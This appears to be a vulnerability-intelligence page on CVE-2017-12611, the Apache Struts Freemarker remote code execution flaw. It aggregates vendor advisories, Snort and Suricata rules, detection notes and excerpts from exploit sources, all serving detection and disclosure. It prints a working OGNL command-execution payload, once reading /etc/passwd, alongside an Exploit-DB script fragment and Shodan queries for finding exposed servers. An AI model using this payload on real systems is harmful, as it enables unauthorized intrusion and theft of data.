CVE-2017-12611
published 2017-09-20CVE-2017-12611: In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a…
PriorityP187critical9.8CVSS 3.0
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
88.02%
99.7th percentile
In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
Affected
89 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
| apache | struts | — | — |
Detection & IOCsextracted from sources · hover to see the quote
url{{BaseURL}}/?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23process.getInputStream%28%29%29%29%7D↗
command%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='<COMMAND>').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}↗
snort↗
Snort SIDs 44327 through 44330
- →Exploit is delivered via HTTP POST to a URL parameter (e.g. 'name') containing a URL-encoded OGNL expression starting with %25%7B (%{). Detect POST requests with OGNL expression patterns in query string parameters targeting Apache Struts endpoints. ↗
- →Shodan/FOFA queries for exposed Apache Struts instances can identify potential targets: search for http.html:'apache struts', http.title:'struts2 showcase', http.html:'struts problem report', body='struts problem report', title='struts2 showcase', body='apache struts', or Google intitle:'struts2 showcase'. ↗
- →CVE-2017-12611 (Apache Struts Freemarker RCE) was the second most exploited CVE against Linux systems in 2022 at 19.5% of exploitation attempts, indicating active in-the-wild exploitation. Prioritize detection on internet-facing Struts deployments. ↗
- →CVE-2017-12611 is included in the NadMesh botnet's exploit chain at 4.15% of observed traffic. Monitor for automated scanning and exploitation attempts from botnet infrastructure. ↗
- →The exploit payload uses ProcessBuilder with /bin/bash -c or cmd.exe /c to execute OS commands. Detect child process spawning from Java application server processes (e.g. Tomcat/Struts) invoking bash or cmd.exe. ↗
- →Successful exploitation response contains /etc/passwd content. A regex match for 'root:.*:0:0:' in HTTP responses from Struts endpoints indicates confirmed RCE. ↗
- ·The Nuclei template uses a single POST request for detection. The exploit payload targets the 'name' query parameter but the actual vulnerable parameter name varies by application deployment — adjust accordingly. ↗
- ·Snort SID range 44327–44330 covers possible exploitation attempts; confirm these SIDs are present and up-to-date in your Snort ruleset before relying on them for detection. ↗
- ·The EPSS score for this CVE is 0.94228 (99.926th percentile), indicating very high probability of exploitation in the wild. Treat any unpatched Struts 2.0.0–2.3.33 or 2.5–2.5.10.1 instance as actively targeted. ↗
CVSS provenance
nvdv3.09.8CRITICALCVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Cisco
Apache Struts 2 Remote Code Execution Vulnerability Affecting Multiple Cisco Products: September 2017
vendor_cisco·2017-09-09
CVE-2017-12611 [CRITICAL] CWE-20 Apache Struts 2 Remote Code Execution Vulnerability Affecting Multiple Cisco Products: September 2017
Apache Struts 2 Remote Code Execution Vulnerability Affecting Multiple Cisco Products: September 2017
On September 7, 2017, the Apache Software Foundation released a security bulletin that disclosed a vulnerability in the Freemarker tag functionality of the Apache Struts 2 package. The vulnerability could allow an unauthenticated, remote attacker to execute arbitrary code on an affected system. The Apache Software Foundation classifies the vulnerability as a Medium Severity vulnerability. For more information about this vulnerability, refer to the Details section of this advisory.
Multiple Cisco products incorporate a version of the Apache Struts 2 package that is affected by this vulnerability.
The following Snort rules can be used to detect possible exploitation of this vulnerability:
Red Hat
struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals
vendor_redhat·2017-09-07·CVSS 9.8
CVE-2017-12611 [CRITICAL] CWE-20 struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals
struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals
In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
It was found that Freemarker in Struts would permit using read-only properties in value assignment of tag expressions. An attacker could use this to execute arbitrary code.
Statement: A previous statement by Red Hat related to this CVE, prior to August 2019, said that Apache Struts 2 is not included in any Red Hat products. This earlier statement was incorrect. While Struts 2 is not actively compiled, shipped, used, or enabled in any Red Hat provided final products, and does not cause any vulnerability in the product,
Cisco
Apache Struts 2 Remote Code Execution Vulnerability Affecting Multiple Cisco Products: September 2017
vendor_cisco
CVE-2017-12611 Apache Struts 2 Remote Code Execution Vulnerability Affecting Multiple Cisco Products: September 2017
CVE-2017-12611: Apache Struts 2 Remote Code Execution Vulnerability Affecting Multiple Cisco Products: September 2017
On September 7, 2017, the Apache Software Foundation released a security bulletin that disclosed a vulnerability in the Freemarker tag functionality of the Apache Struts 2 package. The vulnerability could allow an unauthenticated, remote attacker to execute arbitrary code on an affected system. The Apache Software Foundation classifies the vulnerability as a Medium Severity vulnerability. For more information about this vulnerability, refer to the
CWE: CWE-20, CWE-20
Bug IDs: CSCvf89977, CSCvf89979, CSCvf89984, CSCvf89992
GHSA
Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal
ghsa·2018-10-16
CVE-2017-12611 [CRITICAL] CWE-20 Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal
Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal
In Apache Struts 2.0.1 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
OSV
Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal
osv·2018-10-16
CVE-2017-12611 [CRITICAL] Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal
Apache Struts 2.0.1 uses an unintentional expression in a Freemarker tag instead of string literal
In Apache Struts 2.0.1 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
VulnCheck
Apache Struts Improper Input Validation
vulncheck·2017·CVSS 9.8
CVE-2017-12611 [CRITICAL] Apache Struts Improper Input Validation
Apache Struts Improper Input Validation
In Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1, using an unintentional expression in a Freemarker tag instead of string literals can lead to a RCE attack.
Affected: Apache Struts
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://veriti.ai/blog/vulnerable-villain-when-hackers-get-hacked/; https://ti.qianxin.com/blog/articles/operation-run-the-cyber-carnival-of-offshore-patriots-en/
Exploit PoC: https://vulncheck.com/xdb/c0c7a67b1662; https://vulncheck.com/xdb/8fda6a527fab; https://vulncheck.com/xdb/102671f49f40
Suricata
ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M1
suricata·2017-10-06·CVSS 9.8
CVE-2017-12611 [CRITICAL] ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M1
ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M1
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M1"; flow:established,to_server; http.uri; content:"="; content:"%"; distance:0; content:"{"; distance:0; content:"ProcessBuilder"; nocase; distance:0; fast_pattern; content:"java"; nocase; content:"lang"; nocase; pcre:"/=\s*\x25\s*\{\s*.+?\bProcessBuilder\b/i"; classtype:attempted-admin; sid:2024814; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_06, cve CVE_2017_12611, deployment Datacenter, confidence Medium, signature_severity Major, updated_at 2020_08_20;)
Suricata
ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M2
suricata·2017-10-06·CVSS 9.8
CVE-2017-12611 [CRITICAL] ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M2
ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M2
Rule: alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET EXPLOIT Likely Struts S2-053-CVE-2017-12611 Exploit Attempt M2"; flow:established,to_server; http.uri; content:"="; content:"%"; distance:0; content:"{"; distance:0; content:"getRunTime"; nocase; distance:0; fast_pattern; content:"exec"; nocase; pcre:"/=\s*\x25\s*\{\s*(?=.+?\bgetRunTime\b).+?\bexec\b/i"; classtype:attempted-admin; sid:2024815; rev:3; metadata:affected_product Apache_Struts2, attack_target Web_Server, created_at 2017_10_06, cve CVE_2017_12611, deployment Datacenter, confidence Medium, signature_severity Major, updated_at 2020_09_04;)
Exploit-DB
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution
exploitdb·2017-09-08
CVE-2017-12611 Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution
Apache Struts 2.0.1
Example:
exploit.py "http://127.0.0.1/" "name" "uname -a"
"""
exit()
url = sys.argv[1]
param = sys.argv[2]
command = sys.argv[3]
#payload = "%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apach
Nuclei
Apache Struts2 S2-053 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2017-12611 [CRITICAL] Apache Struts2 S2-053 - Remote Code Execution
Apache Struts2 S2-053 - Remote Code Execution
Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
Template:
id: CVE-2017-12611
info:
name: Apache Struts2 S2-053 - Remote Code Execution
author: pikpikcu
severity: critical
description: Apache Struts 2.0.0 through 2.3.33 and 2.5 through 2.5.10.1 uses an unintentional expression in a Freemarker tag instead of string literals, which makes it susceptible to remote code execution attacks.
impact: |
Remote code execution
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
reference:
- https://struts.apache.org/docs/s2-053.html
- https://nvd.n
arXiv
ATTACK2VEC: Leveraging Temporal Word Embeddings to Understand the Evolution of Cyberattacks
arxiv_fulltext·2019-05-29
ATTACK2VEC: Leveraging Temporal Word Embeddings to Understand the Evolution of Cyberattacks
: Leveraging Temporal Word Embeddings to
Understand the Evolution of Cyberattacks
## Abstract
Despite the fact that cyberattacks are constantly growing in complexity, the research community still lacks effective tools to easily monitor and understand them.
In particular, there is a need for techniques that are able to not only track how prominently certain malicious actions, such as the exploitation of specific vulnerabilities, are exploited in the wild, but also (and more importantly) how these malicious actions factor in as attack steps in more complex cyberattacks.
In this paper we present , a system that uses temporal word embeddings to model how attack steps are exploited in the wild, and track how they evolve.
We test on a dataset of billions of security events collected from the c
arXiv
Tiresias: Predicting Security Events Through Deep Learning
arxiv_fulltext·2019-05-24
Tiresias: Predicting Security Events Through Deep Learning
et al.
e.g.,
i.e.,
10.1145/3243734.3243811
2018
2018
acmlicensed
[CCS '18]2018 ACM SIGSAC Conference on Computer and Communications SecurityOctober 15--19, 2018Toronto, ON, Canada
2018 ACM SIGSAC Conference on Computer and Communications Security (CCS '18), October 15--19, 2018, Toronto, ON, Canada
15.00
: Predicting Security Events Through Deep Learning
Yun Shen^ , Enrico Mariconti^ , Pierre-Antoine Vervier^ , and Gianluca Stringhini^
^ Symantec Research Labs, ^ University College London, ^ Boston University
\yun_shen,pierre-antoine_vervier\@symantec.com, [email protected], [email protected]
## Abstract
With the increased complexity of modern computer attacks, there is a need for defenders not only to detect malicious activity as it happens, but also to predict the specific steps tha
CTF
README
ctf_writeups·CVSS 9.8
[CRITICAL] README
# Boot to root CTFs
Walkthroughs and notes of 'boot to root' CTFs mostly from VulnHub that I did for fun. I like to use vulnerable VMs from VulnHub (in addition to the ones I create) to organize hands-on penetration testing training sessions for junior security auditors/consultants :-)
### >> Classic pentest methodology to do a Boot2root CTF upload a Webshell)
➤ Clear-text passwords stored in 'public' website pages, configuration files, log files
➤ ...
2. Exploiting unpatched known vulnerabilities
➤ Web server (e.g. Apache Struts RCE: CVE-2017-12611/CVE-2017-9805/CVE-2017-9791, JBoss Java Deserialization RCE)
➤ Bash & web server CGI (e.g. Shellshock RCE CVE-2014-6271/CVE-2014-7169)
➤ Web CMS (e.g. Drupalgeddon2 RCE CVE-2018-7600)
➤ Web framework (e.g. PHP CGI RCE CVE-2012-1823)
➤ FTP s
Hackernews
New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens
blogs_hackernews·2026-07-17
CVE-2026-39987 New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## New NadMesh Botnet Hunts Exposed AI Services for Cloud Keys and Kubernetes Tokens
A Go botnet called NadMesh turned up in early July hunting exposed AI services, and the operator's own dashboard claims 3,811 unique AWS keys.
A Shodan harvester keeps the scan queue stocked with ComfyUI, Ollama , n8n , Open WebUI , Langflow , and Gradio: the image generators, local model runners, and workflow builders that teams stand up fast and firewall late.
The intel feed behind that counter shows 47 credential hauls and 41 model inventories in its last 100 records. Those inventories carry DeepSeek, GLM, and Kimi identifiers tagged :cloud
Trendmicro
Linux-Systeme häufig unter Beschuss
blogs_trendmicro·2023-09-07·CVSS 9.8
[CRITICAL] Linux-Systeme häufig unter Beschuss
Cyberbedrohungen
## Linux-Systeme häufig unter Beschuss
Linux-Report: Alte Sicherheitslücken und neue Technologie stellen Hauptursache für Malware-Infektionen in den Systemen dar. Ransomware-Angriffe häufen sich, aber auch Kryptowährungs-Miner, Webshell-Angriffe und Rootkits.
By: Pawan Kinger Sep 07, 2023 Read time: ( words)
Save to Folio
Linux erfreut sich immer größerer Beliebtheit in der IT-Welt. Vor allem auf Web-Servern und in Rahmen von Embedded-Systemen greifen Unternehmen in der Regel zum Open-Source-Betriebssystem. So laufen etwa 81 Prozent aller Webseiten über Linux und 90 Prozent aller Public-Cloud-Workloads werden mit der Open-Source-Alternative betrieben. Apache, Nginx und viele Dienste auf Amazon Web Services (AWS) sind nur ein kleiner Auszug von populären Linux-basierte
Bugzilla
CVE-2017-12611 struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals
bugzilla·2017-09-07·CVSS 9.8
CVE-2017-12611 [CRITICAL] CVE-2017-12611 struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals
CVE-2017-12611 struts: RCE attack when using an unintentional expression in Freemarker tag instead of string literals
When using expression literals or forcing expression in Freemarker tags (see example below) and using request values, it can lead to RCE attack.
In both cases a writable property is used in the value attribute and in both cases this is threatened as an expression by Freemarker.
Affected versions: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
External References:
https://struts.apache.org/docs/s2-053.html
Discussion:
Statement:
A previous statement by Red Hat related to this CVE, prior to August 2019, said that Apache Struts 2 is not included in any Red Hat products. This earlier statement was incorrect. While Struts 2 is not actively compiled, shipped, u
http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txthttp://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.htmlhttp://www.securityfocus.com/bid/100829https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001https://struts.apache.org/docs/s2-053.htmlhttp://www.arubanetworks.com/assets/alert/ARUBA-PSA-2017-003.txthttp://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.htmlhttp://www.securityfocus.com/bid/100829https://kb.netapp.com/support/s/article/ka51A000000CgttQAC/NTAP-20170911-0001https://struts.apache.org/docs/s2-053.html
2017-09-20
Published
Exploited in the wild